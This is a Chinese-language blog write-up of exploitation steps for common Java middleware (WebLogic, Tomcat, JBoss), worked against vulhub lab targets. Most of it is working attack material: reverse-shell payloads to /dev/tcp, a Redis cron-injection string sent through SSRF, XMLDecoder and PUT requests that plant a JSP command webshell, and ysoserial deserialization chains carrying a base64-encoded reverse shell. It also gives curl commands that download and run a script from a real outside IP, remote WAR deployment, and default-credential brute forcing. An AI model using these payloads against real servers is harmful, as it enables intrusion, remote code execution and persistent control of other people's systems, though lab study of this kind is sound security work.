常见中间件漏洞

常见中间件漏洞

WebLogic

简介

概述

WebLogic Server 是美国 Oracle 公司推出的基于 JavaEE/JakartaEE 架构的商业级应用服务器中间件,是企业级 Java 平台的核心组件,用于开发、部署和管理大型分布式 Web 应用、网络应用及数据库应用。

它支持 JavaEE/JakartaEE 标准,具备高可用性、可扩展性,可实现负载均衡、集群部署等功能,广泛用于企业级应用场景。

核心特性

  • 标准支持:完整支持 JavaEE/JakartaEE 规范(Servlet, JSP, EJB, JMS, JPA 等)
  • 高可用性:提供故障转移、会话复制等机制
  • 集群能力:支持水平扩展和负载均衡
  • 管理控制:提供集中式的配置和管理界面
  • 安全机制:集成企业级安全服务

技术参数

项目参数
默认端口7001 (HTTP)
管理端口通常与服务端口相同
协议支持HTTP/HTTPS, T3, T3S, IIOP 等
管理接口Web 控制台 / 命令行

访问路径

常见漏洞

后台弱口令 + 文件部署漏洞

靶场:vulhub/weblogic/weak_password

首先登录网址:http://192.168.2.201:7001/,观察到默认访问 404 的页面。

image-20250804201650720

尝试访问管理控制台页面:http://192.168.2.201:7001/console,可以轻松进入管理控制台的登录页面。

image-20250804201939627

尝试使用弱口令登录:

  • 用户名:weblogic
  • 密码:Oracle@123

可以成功登录。

进入页面后,点击界面右侧的 部署 按钮,查看应用列表。

image-20250804202540113

点击 安装,随后选择 上载文件

image-20250804202659439

上传一个 war 包:

jar -cvf 目标文件.war webshell文件.jsp

image-20250804203142491

随后上传文件,上传文件后点击 下一步,直至点击 完成

image-20250804203336289

随后访问上传的 WebShell:http://192.168.2.201:7001/cmd/cmd.jsp,网址的路径为:

http://IP/port/上传的war包的文件名不带后缀/war包中原本的jsp文件名

image-20250804203644899

传入参数,可以成功执行命令。

SSRF

靶场:vulhub/weblogic/ssrf

Weblogic 的 SSRF 漏洞只支持使用 HTTP 协议,其他伪协议均无法使用。

首先访问漏洞路径:http://192.168.2.201:7001/uddiexplorer/SearchPublicRegistries.jsp

image-20250804205047834

点击 Search,抓包查看请求包的内容。

image-20250804205306064

发现请求体中存在一个 URL 链接,使用 DNSlog 测试漏洞是否存在。

image-20250804205532644

获取到 DNSlog 记录,确实存在漏洞。

通过内网探测内网是否存在其他服务,例如探测到:http://172.19.0.2:80,会收到 could not connect over HTTP to server 的报错,表面该 IP 的这个端口没有开放。

image-20250804205906440

继续探测,当探测到:http://172.19.0.2:6379 时,发现响应中存在 which did not have a valid SOAP content-type: null,表面该端口开放,但是是非 HTTP 协议。

image-20250804210324700

这个端口,应该是 Redis 的服务,尝试攻击内网的 Redis。

发送以下 Redis 命令,将 Shell 脚本写入计划任务:

set 1 "\n\n\n\n*/1 * * * * root bash -c 'sh -i >& /dev/tcp/IP/Port 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

将命令 URL 编码后发送:

set%201%20%22%5cn%5cn%5cn%5cn*%2f1%20*%20*%20*%20*%20root%20bash%20-c%20'sh%20-i%20%3e%26%20%2fdev%2ftcp%2fIP%2fPort%200%3e%261'%5cn%5cn%5cn%5cn%22%0d%0aconfig%20set%20dir%20%2fetc%2f%0d%0aconfig%20set%20dbfilename%20crontab%0d%0asave%0d%0a%0d%0a

image-20250804222728287

成功获取到 Shell。

image-20250804222801798

XMLDecode 反序列化

靶场:vulhub/weblogic/CVE-2017-10271

XMLDecode 没有 CC、CB、URLDNS 链,而是直接构造 soap xml 语法,使用 java.beans.XMLDecoder 调用 java 方法,比如调用 ProcessBuilder.start 方法实现 RCE。

首先登录网址:http://192.168.43.50:7001/,观察到默认访问 404 的页面。

尝试反弹 Shell:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: Host_IP
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 639

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/IP/Port 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

image-20250804231038847

image-20250804230809647

尝试写入 WebShell:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: Host_IP
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
    <void method="println"><string>
    <![CDATA[
<%@ page import="java.io.*" %>
<% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s +"\r\n"; } } catch(IOException e) { e.printStackTrace(); } } out.println(output);%>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

image-20250804231015996

写入 WebShell 以后,访问:http://192.168.43.50:7001/bea_wls_internal/test.jsp

image-20250804231212462

成功执行命令。

T3 协议反序列化

靶场:vulhub/weblogic/CVE-2018-2628

XMLDecode 没有 CC、CB、URLDNS 链,而是直接构造 soap xml 语法,使用 java.beans.XMLDecoder 调用 java 方法,比如调用 ProcessBuilder.start 方法实现 RCE。

什么是 T3 协议:T3 协议是 Oracle WebLogic Server 特有的二进制通信协议,基于 TCP/IP 协议,用于客户端与服务器间的高效数据传输,尤其适用于分布式 Java 应用场景,支持 RMI 远程方法调用。

WebLogic 特定的版本,反序列化利用链是固定的,可以找 python 脚本直接打。

此处使用脚本 CVE-2018-2628

python CVE-2018-2628-Getshell.py 192.168.43.50 7001 shell1.jsp

注:该脚本使用 python2。

image-20250804232343172

T3 协议一直都有反序列化功能,如果出现了新的利用链,就是新的漏洞。

202508042324505

后台文件上传

靶场:vulhub/weblogic/CVE-2018-2894

首先登录网址:http://192.168.43.50:7001/,观察到默认访问 404 的页面。

尝试访问管理控制台页面:http://192.168.43.50:7001/console,可以轻松进入管理控制台的登录页面。

管理员用户名为 weblogic,执行命令 docker compose logs | grep password 获取到密码。

登录后台页面,点击 base_domain 的配置,在 高级 中开启 启用 Web 服务测试页 选项。

image-20250804234104093

访问:http://192.168.43.50:7001/ws_utc/config.do

设置 Work Home Dir 为:

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

随后在 安全 中点击 添加,此处可以上传文件(WebShell)。

image-20250804234404050

上传文件后,查看返回的数据包的时间戳:1754322426113

image-20250804234749255

最后访问:http://192.168.43.50:7001/ws_utc/css/config/keystore/1754322426113_cmd.jsp

image-20250804234911528

未授权访问漏洞 + 命令执行

靶场:vulhub/weblogic/CVE-2020-14882

两个漏洞的综合利用:

  • CVE-2020-14882 Weblogic 未授权访问
  • CVE-2020-14883 Weblogic 后台 RCE 漏洞

首先未授权访问漏洞,直接免登录访问后台,直接访问后台:http://192.168.43.50:7001/console/css/%252e%252e%252fconsole.portal

image-20250804235354225

随后执行命令(无回显):

http://192.168.43.50:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

此时进入容器可以直接看到成功写入名为的 success1 的文件。

image-20250804235652584

可以尝试反弹 Shell,在攻击机上写好 Shell,并在攻击机上开启相应的监听,在目标机上执行 wgetcurl 命令,从攻击机上下载脚本并运行。

攻击机上存在 getbash.sh 脚本文件,在该文件目录上开启监听:

python -m http.server

随后在目标机上执行命令:

http://192.168.43.50:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('curl http://117.72.59.106:8000/getbash.sh -o /tmp/getbash.sh');")

http://192.168.43.50:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec(' bash /tmp/getbash.sh');")

最后成功获取 Shell。

image-20250805000413674

T3 协议反序列化 JNDI 注入

靶场:vulhub/weblogic/CVE-2023-21839

首先使用工具 NDI-Injection-Exploit,利用 JNDI 注入漏洞进行获取 Shell 攻击。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A IP -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTcuNzIuNTkuMTA2LzE1MDAwIDA+JjE=}|{base64,-d}|{bash,-i}"

image-20250805002824989

随后使用 POC_CVE-2023-21839 进行反弹 Shell。

python P0C_CVE-2023-218391.py -ip 192.168.43.50 -p 7001 -l 上一步生成的ldap或rmi

image-20250805003716026

最后获取到 Shell。

image-20250805003749207

TomCat

简介

概述

Tomcat 是一个开源的 轻量级 Web 应用服务器,主要用于部署和运行 Java Servlet、JSP(JavaServer Pages)等基于 Java 的 Web 应用程序。

核心功能

  • Servlet/JSP 容器:支持 Java EE(现 Jakarta EE)的 Servlet 和 JSP 规范。
  • HTTP 服务器:内置 HTTP 服务,可直接处理浏览器请求(默认端口 8080)。
  • 轻量级:相比完整 Java EE 服务器(如 WildFly、WebLogic),Tomcat 更轻便,适合中小型项目。

常见漏洞

后台弱口令 + 文件部署漏洞

靶场:vulhub/tomcat/tomcat8

TomCat 默认使用 HTTP Basic 验证

  • basic 验证的方式:在 HTTP 请求头中存在:

    Authorization: Basic 经过base64编码的用户名:密码的字符串
    

首先登录页面,点击页面的 Manager App 按钮,进入管理页面,但是该页面需要登录。

此时不知道密码可以随便输入一个密码,抓包观察。

image-20250805193010252

此时可以尝试爆破密码,使用 TomCat 常用的一些密码。

image-20250805193528030

注意在爆破时,要对内容进行 base64 编码,同时不要对 : 进行 URL 编码。

image-20250805193822467

爆破后发现用户名密码均为 tomcat,使用该账密即可成功登录。

对于这样使用默认密码的情形,可以通过修改密码或限制频率来解决。

  • 修改密码可以在 tomcat-users.xml 文件中进行修改。
  • 限制密码错误频率:可以在 tomcat 默认配置 server.xml 中修改。 image-20250805194227548

接下来进行后台文件部署

当进入管理页面以后,可以很轻易发现一个名为 WAR file to deploy 的模块,此处可以上传文件。

image-20250805194501534

尝试上传一个后门的 war 包,上传成功后访问网址:http://192.168.2.201:8081/cmd/cmd.jsp

# 其网址同样为
http://IP/port/上传的war包的文件名不带后缀/war包中原本的jsp文件名

image-20250805194657881

成功部署文件,并可以执行命令。

TomCat PUT 任意文件上传

靶场:vulhub/tomcat/CVE-2017-12615

在该靶场中使用 PUT 请求进行构造即可在 Web 的根目录下写入 Shell。

首先进入网页,随后抓包。

将请求包的内容修改为 PUT 请求,并附带 Shell:

PUT /1.jsp/ HTTP/1.1
Host: 192.168.2.201:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 397

<%@ page import="java.io.*" %>
<% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s +"\r\n"; } } catch(IOException e) { e.printStackTrace(); } } out.println(output);%>

image-20250805195608892

成发送请求包后,访问写入的 1.jsp 即可获取到 Shell。

image-20250805195715788

TomCat Session 反序列化漏洞

靶场:vulhub/tomcat/CVE-2025-24813

进入网页,网站可以正常运行。

首先使用 ysoserial 生成序列化链文件:

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTcuNzIuNTkuMTA2LzE1MDAwIDA+JjE=}|{base64,-d}|{bash,-i}" > cc5.ser

亦可以使用 Java-Chains 生成链,其可以生成更多的链,例如 K 链。

随后使用 curl 命令对漏洞点(/deserialize/session 接口)进行 PUT 请求:

curl -X PUT -H "Content-Range: byt
es 0-5000/6200" --data-binary @cc5.ser http://192.168.2.201:8081/abs/session 
	# -X PUT 代表请求方式为PUT
	# -H 指定请求头为 Content-Range: bytes 0-5000/6200
	# --data-binary @cc5.ser 指定使用当前目录下的 cc5.ser 文件内容作为请求体

发送请求后,tomcat 服务器上就会存在一个 session 文件 .deserialize

重新发送访问 .deserialize session 的请求,抓包将 Cookie 的内容修改。

image-20250805202121374

即可自动反序列化,触发漏洞。

[!warning]

此处的 JSESSIONID 的值需要根据前面发送 PUT 请求中网址的变化而变化,例如此处访问的接口为 /abs/session,则 JSESSIONID 为 .abs,这个内容是可以随意修改的,但需前后对应。

发送以后可以成功获取到 Shell。

image-20250805200919787

JBoss

简介

概述

JBoss(现更名为 WildFly)是一个开源的 企业级 Java EE(Jakarta EE)应用服务器,由 Red Hat 开发并维护。它提供了完整的 Java EE 功能,适用于大型分布式系统和高性能企业应用。

核心功能

  • 完整的 Java EE / Jakarta EE 支持:支持 Servlet、JSP、EJB、JPA、JMS、CDI 等企业级规范。
  • 模块化架构:基于 JBoss Modules,支持按需加载组件,减少内存占用。
  • 高性能:优化了线程池、连接池和缓存机制,适合高并发场景。
  • 集群与高可用性:支持分布式部署、会话复制和负载均衡。

常见漏洞

jmx-console 未授权访问 + 部署漏洞

靶场:vulhub/jboss/CVE-2017-7504

在该靶场中存在未授权访问,访问 /jmx-console 接口即可直接登录,同时可以使用账密 admin:admin 进行登录。

进入以后找到 DeploymentScanner 模块,点击进入。

image-20250805203200859

在页面中找到 addURL,并在 ParamTypeJava.lang.String 的模块中的 paramValue 增加一个从攻击机上下载 war 包的链接:http://117.72.59.106:8000/shell.war

image-20250805203727983

攻击机此时要开启连接:

python -m http.server

python -m http.server

随后点击模块下的 Invoke,随后点击 Back to MBean View

image-20250805204010071

此时可以看到修改的 URL,点击 Apply Changes

此时成功部署,访问:http://192.168.2.201:8081/shell/shell.jsp 即可。

这个脚本为冰蝎脚本,使用冰蝎可以成功连接。

image-20250805204453117

Administration Console 后台文件部署漏洞

靶场:vulhub/jboss/CVE-2017-12149

首先进入网址,发现 Administration Console,点击进入。 image-20250805204852527

输入用户名 admin,密码 vulhub 进行登录。

进入后台后发现有一个可以上传 war 包的地方。

image-20250805205121985

上传一个 war 包,上传成功后访问该文件,即可获取 Shell。

image-20250805205300174

image-20250805205337214

Jboss Httplnvoker 反序列化漏洞

靶场:vulhub/jboss/CVE-2017-12149

在该靶场中,接口 /invoker/readonly 会对 Post 请求体传入的字节进行反序列化,如果传入的字节是 Java 反序列化利用链,即可触发反序列化漏洞。

首先使用 ysoserial 或 Java-Chains 等工具生成利用链文件,如 CC5 利用链。

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTcuNzIuNTkuMTA2LzE1MDAwIDA+JjE=}|{base64,-d}|{bash,-i}" > cc5.ser

随后利用生成的利用链文件,通过 curl 命令对漏洞接口发送请求即可触发 Shell。

curl http://192.168.2.201:8081/invoker/readonly --data-binary @cc5.ser

image-20250805205848355

image-20250805205909473

JbossMQ JMS 反序列化漏洞

靶场:vulhub/jboss/CVE-2017-7504

在该靶场中,接口 /jbossmq-httpil/HTTPServerILServlet 会对 Post 请求体传入的字节进行反序列化,如果传入的字节是 Java 反序列化利用链,即可触发反序列化漏洞。

操作步骤与上面 Jboss Httplnvoker 反序列化漏洞相同。

curl http://192.168.2.201:8081/jbossmq-httpil/HTTPServerILServlet  --data-binary @cc5.ser

JMXInvokerServlet 反序列化漏洞

靶场:vulhub/jboss/JMXInvokerServlet-deserialization

在该靶场中,接口 /invoker/JMXInvokerServlet 会对 Post 请求体传入的字节进行反序列化,如果传入的字节是 Java 反序列化利用链,即可触发反序列化漏洞。

操作步骤与上面 Jboss Httplnvoker 反序列化漏洞相同。

curl http://192.168.2.201:8081/invoker/JMXInvokerServlet  --data-binary @cc5.ser
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇